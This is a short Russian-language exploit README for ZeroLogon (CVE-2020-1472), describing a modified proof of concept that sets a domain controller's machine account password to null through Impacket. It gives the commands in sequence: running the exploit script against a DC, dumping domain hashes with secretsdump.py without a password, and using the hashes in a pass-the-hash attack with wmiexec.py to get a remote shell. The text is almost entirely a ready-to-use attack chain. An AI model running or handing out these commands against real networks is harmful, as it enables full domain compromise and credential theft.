ZeroLogon - Эксплуатация и пример

Модифицировал тестовый PoC от Secura (CVE-2020-1472), чтобы сбросить пароль машины в null. Смена пароля на машине осуществляется с помощью функции Microsoft NetrServerPasswordSet2(). Этот эксплойт использует модуль Impacket nrpc.py для вызова NetrServerPasswordSet2().

Запуск эксплойта

./zerologon_NULLPASS.py <dc-name> <dc-ip>

Извлечение хэшей

secretsdump.py -no-pass <dc-name>\$@<dc-ip>

Pass-The-Hash для доступа к оболочке

wmiexec.py -hashes <LM:NT> <username>@<ip>